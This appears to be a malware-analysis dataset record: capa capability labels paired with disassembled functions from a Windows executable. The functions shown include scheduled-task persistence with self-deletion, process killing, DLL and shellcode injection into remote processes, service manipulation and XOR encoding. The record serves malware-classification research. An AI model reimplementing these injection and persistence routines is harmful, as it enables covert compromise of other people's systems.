joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b410
Capabilities:
Create process on windows
Schedule task via schtasks
Self delete

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x208
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x170], xmm6
mov qword [rbp + 0x168], 0xfffffffffffffffe
mov rsi, rdx
mov rdi, rcx
mov dword [rsp + 0x20], 1
lea rdx, [0x140097139]
lea rbx, [rbp - 0x48]
mov rcx, rbx
mov r8d, 2
mov r9d, 0x40
call fcn.140007ba0
lea rdx, str._echo_off__n
mov rcx, rbx
call fcn.14000b8b0
xorps xmm6, xmm6
movaps xmmword [rbp + 0x130], xmm6
movaps xmmword [rbp + 0x120], xmm6
mov rcx, rdi
call fcn.14005bd00
lea rcx, [rbp + 0x120]
mov rdx, rdi
mov r8, rax
call fcn.140005060
movaps xmmword [rbp + 0x150], xmm6
movaps xmmword [rbp + 0x140], xmm6
mov rcx, rsi
call fcn.14005bd00
lea rcx, [rbp + 0x140]
mov rdx, rsi
mov r8, rax
call fcn.140005060
lea r8, str.SCHTASKS__CREATE__SC_ONLOGON__TN__
lea rcx, [rbp + 0x140]
mov r9d, 0x22
xor edx, edx
call fcn.14000f990
mov rsi, rax
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xf0], xmm1
movaps xmmword [rbp + 0xe0], xmm0
mov qword [rax + 0x10], 0
call fcn.140011ef0
cdqe
lea rcx, [0x1400844e0]
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov byte [rsi], 0
lea r8, str.___TR__
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0xe0]
call fcn.14000bd70
lea rsi, [rbp + 0x100]
lea r8, [rbp + 0xc0]
lea r9, [rbp + 0x120]
mov rcx, rsi
call fcn.14000f550
mov rdi, qword [rbp + 0x110]
mov rbx, qword [rbp + 0x118]
call fcn.140009050
cdqe
lea rcx, [0x140084570]
cmp qword [rcx + rax*8], rbx
ja 0x14000b578
mov rsi, qword [rbp + 0x100]
lea rcx, [rbp - 0x48]
mov rdx, rsi
mov r8, rdi
call fcn.140007fc0
lea rcx, [rbp + 0x100]
call fcn.140004dd0
lea rcx, [rbp + 0xc0]
call fcn.140004dd0
lea rcx, [rbp + 0xe0]
call fcn.140004dd0
lea rcx, [rbp + 0x140]
call fcn.140004dd0
lea rcx, [rbp + 0x120]
call fcn.140004dd0
lea rdx, str.DELC:Users_scheduler.bat
lea rcx, [rbp - 0x48]
call fcn.14000b8b0
lea rcx, [rbp - 0x48]
call fcn.14000bea0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea rdx, str.open
lea r8, [0x140097139]
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rsi, [rbp + 0x60]
mov rax, qword [rbp - 0x48]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax - 0x48], rcx
mov rax, qword [rbp - 0x48]
movsxd rdi, dword [rax + 4]
call fcn.140008d90
cdqe
lea rcx, [0x1400845e0]
mov rcx, qword [rcx + rax*8]
mov rax, rcx
or rax, rdi
add rax, rax
xor rcx, rdi
sub rax, rcx
mov ebx, eax
xor ebx, 0xa8
mov edx, eax
not edx
and edx, 0xffffff57
mov ecx, eax
and ecx, 0xa8
add ecx, eax
add ecx, ebx
add ecx, edx
add ecx, 0xffffff59
mov dword [rbp + rax - 0x4c], ecx
lea rcx, [rbp - 0x40]
call fcn.140002550
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x60], rax
mov rcx, rsi
call fcn.14003cde8
movaps xmm6, xmmword [rbp + 0x170]
add rsp, 0x208
pop rbx
pop rdi
pop rsi
pop rbp
ret
Function at 0x140013aa0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rbx, r8
mov r14, rdx
mov r12, rcx
cmp byte [r8 + 0x19], 0
setne sil
call fcn.140008c60
cdqe
lea r15, [0x1400865b4]
cmp sil, byte [rax + r15]
je 0x140013b39
nop word cs:[rax + rax]
nop dword [rax]
mov r8, qword [rbx + 0x10]
mov rcx, r12
mov rdx, r14
call fcn.140013aa0
mov rdi, qword [rbx]
lea rsi, [rbx + 0x20]
lea rcx, [rbx + 0x48]
movzx edx, byte [rbx + 0x40]
call fcn.140012ab0
mov rcx, rsi
call fcn.140004dd0
call fcn.140014cf0
mov edx, 0x50
mov rcx, rbx
call fcn.14003c800
cmp byte [rdi + 0x19], 0
setne sil
call fcn.140008c60
cdqe
xor sil, byte [rax + r15]
mov rbx, rdi
test sil, 1
jne 0x140013ae0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x140015040
Capabilities:
Enumerate processes

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x168
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xe0], 0xfffffffffffffffe
mov rsi, rcx
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
call fcn.140008c60
cdqe
lea rcx, [0x140086850]
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], 0
lea rdx, [0x140098bb0]
mov qword [rbp + 0xd8], rsi
mov rcx, rsi
xor r8d, r8d
call fcn.140005060
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
test rax, rax
je 0x1400150e3
mov rsi, rax
mov dword [rbp - 0x58], 0x130
lea rdx, [rbp - 0x58]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
mov edi, eax
call fcn.140008ea0
cdqe
lea r12, [0x140086838]
cmp edi, dword [r12 + rax*4]
jne 0x1400150fe
mov rax, qword [rbp + 0xd8]
add rsp, 0x168
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r15, [rbp - 0x2c]
jmp 0x14001512b
mov rcx, rsi
lea rdx, [rbp - 0x58]
call sub.KERNEL32.dll_Process32Next
mov ebx, eax
call fcn.140009560
cdqe
cmp ebx, dword [r12 + rax*4]
je 0x1400150e3
mov rcx, r15
call fcn.14005bd00
mov rbx, rax
mov rcx, qword [rbp + 0xd8]
mov r14, qword [rcx + 0x10]
mov rax, qword [rcx + 0x18]
lea rdi, [rax + rax]
lea rdx, [rax + r14]
sub rdi, rdx
cmp rdi, rbx
jae 0x140015170
mov qword [rsp + 0x20], rbx
mov rdx, rbx
mov r9, r15
call fcn.1400066b0
call fcn.1400159b0
jmp 0x1400151c7
mov rdi, r14
or rdi, rbx
mov rdx, rbx
not rdx
or rdx, r14
add rdi, rbx
add rdx, rdi
add rdx, 1
mov qword [rcx + 0x10], rdx
mov r13, rcx
cmp rax, 0xf
jbe 0x140015199
mov r13, qword [rcx]
lea rcx, [r14 + r13]
mov rdx, r15
mov r8, rbx
call fcn.14004edb0
call fcn.140015960
cdqe
lea rcx, [0x1400867d8]
movzx eax, byte [rax + rcx]
add r14, rbx
mov byte [r13 + r14], al
call fcn.140008c60
mov rcx, qword [rbp + 0xd8]
mov rbx, qword [rcx + 0x10]
mov rax, qword [rcx + 0x18]
lea rdi, [rax + rax]
lea rdx, [rax + rbx]
sub rdi, rdx
cmp rdi, 3
jae 0x140015210
mov qword [rsp + 0x20], 3
mov edx, 3
lea r9, [0x14009804e]
call fcn.1400066b0
call fcn.1400159b0
jmp 0x140015110
mov rdi, rbx
or rdi, 3
mov rdx, rbx
or rdx, 0xfffffffffffffffc
add rdx, rdi
add rdx, 4
mov qword [rcx + 0x10], rdx
mov rdi, rcx
cmp rax, 0xf
jbe 0x140015235
mov rdi, qword [rcx]
mov byte [rdi + rbx + 2], 0x41
mov word [rdi + rbx], 0x3025
call fcn.140015960
cdqe
lea rcx, [0x1400867d8]
movzx eax, byte [rax + rcx]
mov byte [rbx + rdi + 3], al
call fcn.140008c60
jmp 0x140015110
Function at 0x140015390
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x158
mov rsi, rcx
mov rax, qword [0x1400ad328]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor ebp, ebp
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
test rax, rax
je 0x1400154b1
mov rdi, rax
call fcn.140008c60
cdqe
lea rcx, [0x140086794]
mov eax, dword [rcx + rax*4]
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0x20]
mov rcx, rdi
call sub.KERNEL32.dll_Process32First
mov ebx, eax
call fcn.140009260
cdqe
lea r15, [0x140086838]
cmp ebx, dword [r15 + rax*4]
je 0x140015438
lea rbx, [rsp + 0x4c]
lea r14, [rsp + 0x20]
cmp qword [rsi + 0x18], 0x10
mov rdx, rsi
jb 0x14001541d
mov rdx, qword [rsi]
mov rcx, rbx
call fcn.14005bc80
test eax, eax
je 0x14001543a
mov rcx, rdi
mov rdx, r14
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140015410
jmp 0x1400154a4
mov r8d, dword [rsp + 0x28]
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x140015481
mov rdi, rax
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000ac50
cdqe
lea rcx, [0x140086780]
mov dil, byte [rax + rcx]
call fcn.140015860
jmp 0x140015498
call fcn.1400094e0
cdqe
lea rcx, [0x140086790]
mov dil, byte [rax + rcx]
call fcn.1400119b0
cdqe
lea rcx, [0x140086784]
mov ebp, dword [rcx + rax*4]
call fcn.140008cd0
cdqe
cmp ebp, dword [r15 + rax*4]
jne 0x1400154b3
xor edi, edi
mov rcx, rsi
call fcn.1400152a0
and dil, 1
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14003c990
mov eax, edi
add rsp, 0x158
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x1400154f0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x68
mov rbx, rdx
mov rsi, rcx
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
call fcn.140008c60
cdqe
lea rcx, [0x140086850]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0
mov rcx, rsi
call fcn.14005bd00
lea rdi, [rsp + 0x40]
mov rcx, rdi
mov rdx, rsi
mov r8, rax
call fcn.140005060
mov rcx, rdi
call fcn.1400156b0
test eax, eax
je 0x14001565d
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov dword [rsp + 0x20], 4
mov r8d, 0x104
mov rcx, rax
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x140015666
mov rdi, rax
mov rcx, rbx
call fcn.14005bd00
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
mov r9, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14001567a
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140015683
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
mov r9, rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x140015654
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x3c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov r14, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call r14
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call r14
test rbx, rbx
setne sil
jmp 0x14001569a
call fcn.14000ac50
xor esi, esi
jmp 0x14001569a
call fcn.140009260
cdqe
lea rcx, [0x140086790]
mov sil, byte [rax + rcx]
jmp 0x14001569a
call fcn.140008cd0
xor esi, esi
jmp 0x14001569a
call fcn.1400158b0
cdqe
lea rcx, [0x140086790]
mov sil, byte [rax + rcx]
call fcn.140009050
and sil, 1
mov eax, esi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x1400156b0
Capabilities:
Enumerate processes

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x158
mov rsi, rcx
mov rax, qword [0x1400ad328]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
test rax, rax
je 0x140015758
mov rdi, rax
call fcn.140008c60
cdqe
lea rcx, [0x140086794]
mov eax, dword [rcx + rax*4]
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0x20]
mov rcx, rdi
call sub.KERNEL32.dll_Process32First
mov ebx, eax
call fcn.140009590
cdqe
lea rcx, [0x140086838]
cmp ebx, dword [rcx + rax*4]
je 0x140015758
lea rbx, [rsp + 0x4c]
lea r14, [rsp + 0x20]
nop word cs:[rax + rax]
cmp qword [rsi + 0x18], 0x10
mov rdx, rsi
jb 0x14001573d
mov rdx, qword [rsi]
mov rcx, rbx
call fcn.14005bc80
test eax, eax
je 0x140015795
mov rcx, rdi
mov rdx, r14
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140015730
call fcn.140008c90
cdqe
lea rcx, [0x140086838]
mov edi, dword [rcx + rax*4]
call fcn.140008c60
mov rcx, rsi
call fcn.1400152a0
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14003c990
mov eax, edi
add rsp, 0x158
pop rbx
pop rdi
pop rsi
pop r14
ret
mov edi, dword [rsp + 0x28]
call fcn.1400091f0
jmp 0x14001576e

Function at 0x1400157a0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rsi, rdx
mov r8d, ecx
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov r8, qword [rsi + 0x10]
mov dword [rsp + 0x20], 0x40
mov rcx, rax
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov r9, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0x10
mov r8, rsi
jb 0x1400157ee
mov r8, qword [rsi]
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14001583a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
setne bl
jmp 0x14001583c
xor ebx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.1400152a0
mov eax, ebx
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
Function at 0x1400182c0
Capabilities:
Delete service

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
mov rsi, rcx
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test rax, rax
je 0x140018348
mov rdi, rax
mov rbx, qword [rsi + 0x18]
call fcn.140014d20
cdqe
lea rcx, [0x140086c70]
mov rdx, rsi
cmp qword [rcx + rax*8], rbx
ja 0x140018305
mov rdx, qword [rsi]
mov rcx, rdi
mov r8d, 0x10000
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
test rax, rax
je 0x140018341
mov rbx, rax
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov ebp, eax
mov r14, qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call r14
mov rcx, rbx
call r14
test ebp, ebp
setne bl
jmp 0x140018348
call fcn.140017350
xor ebx, ebx
mov rcx, rsi
call fcn.140004dd0
mov eax, ebx
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret

Function at 0x140018360
Capabilities:
Create service

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
mov edi, r9d
mov r14, r8
mov r13, rdx
mov rbx, rcx
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test rax, rax
je 0x140018463
mov rsi, rax
mov dword [rsp + 0x74], edi
mov rdi, qword [r14 + 0x18]
call fcn.140014d20
cdqe
lea rbp, [0x140086c70]
mov r12, r14
cmp qword [rbp + rax*8], rdi
ja 0x1400183bb
mov r12, qword [r14]
mov r15, qword [r13 + 0x18]
call fcn.140014d20
cdqe
mov rdi, r13
cmp qword [rbp + rax*8], r15
mov r15, rbp
ja 0x1400183d7
mov rdi, qword [r13]
mov rbp, qword [rbx + 0x18]
call fcn.140014d20
cdqe
mov rdx, rbx
cmp qword [r15 + rax*8], rbp
ja 0x1400183ee
mov rdx, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x38], r12
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x74]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x30], 1
mov rcx, rsi
mov r8, rdi
mov r9d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
test rax, rax
je 0x140018468
mov rdi, rax
mov rbp, qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call rbp
mov rcx, rdi
call rbp
call fcn.140009170
cdqe
lea rcx, [0x140086c44]
mov sil, byte [rax + rcx]
jmp 0x14001846a
call fcn.140009220
xor esi, esi
mov rcx, rbx
call fcn.140004dd0
mov rcx, r13
call fcn.140004dd0
mov rcx, r14
call fcn.140004dd0
and sil, 1
mov eax, esi
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400184a0
Capabilities:
Start service

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
mov rsi, rcx
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test rax, rax
je 0x14001853c
mov rdi, rax
mov rbx, qword [rsi + 0x18]
call fcn.140014d20
cdqe
lea rcx, [0x140086c70]
mov rdx, rsi
cmp qword [rcx + rax*8], rbx
ja 0x1400184e5
mov rdx, qword [rsi]
mov rcx, rdi
mov r8d, 0x10
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
test rax, rax
je 0x140018535
mov rbx, rax
mov rcx, rax
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ebp, eax
mov r14, qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call r14
mov rcx, rbx
call r14
call fcn.140014c60
cdqe
lea rcx, [0x140086d08]
cmp ebp, dword [rcx + rax*4]
setne bl
jmp 0x14001853c
call fcn.140011eb0
xor ebx, ebx
mov rcx, rsi
call fcn.140004dd0
mov eax, ebx
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret

Function at 0x140018560
Capabilities:
Start service

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
mov rsi, rcx
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test rax, rax
je 0x1400185f7
mov rdi, rax
mov rbx, qword [rsi + 0x18]
call fcn.140014d20
cdqe
lea rcx, [0x140086c70]
mov rdx, rsi
cmp qword [rcx + rax*8], rbx
ja 0x1400185a5
mov rdx, qword [rsi]
mov rcx, rdi
mov r8d, 0x20
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
test rax, rax
je 0x1400185e6
mov rbx, rax
mov rcx, rax
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ebp, eax
mov r14, qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call r14
mov rcx, rbx
call r14
test ebp, ebp
setne bl
jmp 0x1400185f7
call fcn.140014cc0
cdqe
lea rcx, [0x140086c47]
mov bl, byte [rax + rcx]
mov rcx, rsi
call fcn.140004dd0
and bl, 1
mov eax, ebx
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret

Function at 0x1400264d0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rbx, r8
mov r14, rdx
mov r12, rcx
cmp byte [r8 + 0x19], 0
setne sil
call fcn.140008c60
cdqe
lea r15, [0x140087348]
cmp sil, byte [rax + r15]
je 0x140026564
nop word cs:[rax + rax]
nop dword [rax]
mov r8, qword [rbx + 0x10]
mov rcx, r12
mov rdx, r14
call fcn.1400264d0
mov rdi, qword [rbx]
lea rsi, [rbx + 0x20]
lea rcx, [rbx + 0x48]
movzx edx, byte [rbx + 0x40]
call fcn.140012ab0
mov rcx, rsi
call fcn.140004dd0
mov edx, 0x50
mov rcx, rbx
call fcn.14003c800
cmp byte [rdi + 0x19], 0
setne sil
call fcn.140008c60
cdqe
xor sil, byte [rax + r15]
mov rbx, rdi
test sil, 1
jne 0x140026510
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x140047bd0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r10, rdx
test r9, r9
je 0x140047d74
cmp r9, 4
jb 0x140047c1a
mov rdx, r9
shr rdx, 2
imul rax, rdx, 0xfffffffffffffffc
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [r10]
add r10, 4
xor eax, dword [r8]
add r8, 4
mov dword [rcx], eax
add rcx, 4
sub rdx, 1
jne 0x140047c00
xor r11d, r11d
test r9, r9
je 0x140047d74
cmp r9, 8
jb 0x140047d4d
lea rdx, [rcx - 1]
lea rax, [r8 - 1]
add rdx, r9
add rax, r9
cmp rcx, rax
ja 0x140047c4c
cmp rdx, r8
jae 0x140047d4d
lea rax, [r10 - 1]
add rax, r9
cmp rcx, rax
ja 0x140047c61
cmp rdx, r10
jae 0x140047d4d
mov rdx, r10
mov qword [rsp + 0x10], rbx
sub rdx, r8
mov qword [rsp], rdi
cmp r9, 0x40
jb 0x140047d07
mov rdi, r9
mov qword [rsp + 0x18], rsi
and edi, 0x3f
mov rsi, r9
sub rsi, rdi
mov rbx, rcx
lea rax, [r8 + 0x10]
sub rbx, r8
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r11, 0x40
movdqu xmm1, xmmword [rdx + rax - 0x10]
movdqu xmm2, xmmword [rdx + rax]
lea rax, [rax + 0x40]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
xorps xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rdx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rdx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
xorps xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r11, rsi
jb 0x140047ca0
mov rsi, qword [rsp + 0x18]
cmp rdi, 8
jb 0x140047d3f
mov rbx, r9
and rbx, 0xfffffffffffffff8
mov rdi, rcx
lea rax, [r11 + r8]
sub rdi, r8
nop dword [rax + rax]
movq xmm1, qword [rax + rdx]
add r11, 8
movq xmm0, qword [rax]
lea rax, [rax + 8]
xorps xmm1, xmm0
movq qword [rax + rdi - 8], xmm1
cmp r11, rbx
jb 0x140047d20
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
cmp r11, r9
jae 0x140047d74
sub r10, r8
lea rdx, [r11 + r8]
sub rcx, r8
sub r9, r11
nop word [rax + rax]
movzx eax, byte [rdx + r10]
xor al, byte [rdx]
mov byte [rdx + rcx], al
lea rdx, [rdx + 1]
sub r9, 1
jne 0x140047d60
add rsp, 8
ret

Function at 0x14004c7e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004c82e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004c82e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004c82e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004c82e
cmp dword [rcx + 0x84], 0xe
jbe 0x14004c82e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004c830
xor al, al
add rsp, 0x28
ret

Function at 0x140054164
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400542ac
Function at 0x140057e4c
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [0x1400ad328]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [0x14009c180]
mov rbp, rcx
call fcn.1400727e4
xor edi, edi
test rax, rax
je 0x140057f32
mov ebx, edi
call fcn.140056664
mov r14d, dword [rax]
call fcn.140056664
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov dword [rax], edi
call fcn.140076cc4
mov rsi, rax
test rax, rax
je 0x140057ec3
call fcn.140056664
mov dword [rax], r14d
jmp 0x140057eed
call fcn.140056664
cmp dword [rax], 0x22
jne 0x140057f2a
call fcn.140056664
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.140076cc4
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x140057f2a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x140057ef1
cmp rax, 3
je 0x140057f0c
mov rcx, rsi
call fcn.140057da8
test al, al
je 0x140057f1d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x140057f1d
mov dil, 1
mov rcx, rbx
call fcn.14005911c
mov al, dil
jmp 0x140057f34
mov rcx, rbx
call fcn.14005911c
xor al, al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14003c990
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x1400610a0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400610c8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400610c8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140073f88
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14006c67c
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140074029
cmp ebx, dword [rsp + 0x30]
je 0x140074022
test esi, esi
je 0x140074022
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140073ffd
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14007400a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140073fe7
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14007400e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14007402b
mov eax, 1
jmp 0x14007402b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret